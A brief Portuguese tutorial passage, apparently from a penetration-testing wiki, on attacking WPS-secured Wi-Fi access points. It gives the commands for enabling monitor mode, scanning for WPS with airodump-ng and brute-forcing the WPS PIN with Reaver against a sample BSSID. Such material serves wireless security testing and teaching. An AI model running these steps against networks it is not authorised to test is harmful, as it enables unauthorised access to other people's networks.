# Secured Access Points

Tradicionalmente, tentativas de força bruta online têm sido utilizadas para recuperar o PIN WPS e WPA-PSK. No entanto, nos últimos anos, os fabricantes se tornaram mais sábios em relação a esses ataques.

* Vamos primeiro habilitar o modo monitor usando o `iw`comando e adicionar uma nova interface chamada `mon0`monitor mode

{% code lineNumbers="true" %}
```
iw dev wlan0 interface add mon0 type monitor

ifconfig mon0 up

iwconfig
```
{% endcode %}

* Então, podemos usar o recurso `airodump-ng`para escanear continuamente o status do WPS de redes próximas

```
airodump-ng mon0 --wps -c 1
```

* Em um novo terminal, podemos iniciar a tentativa de força bruta na rede WiFi disponível

```
reaver -i mon0 -c 1 -b 86:53:10:C3:1B:26 -v
```

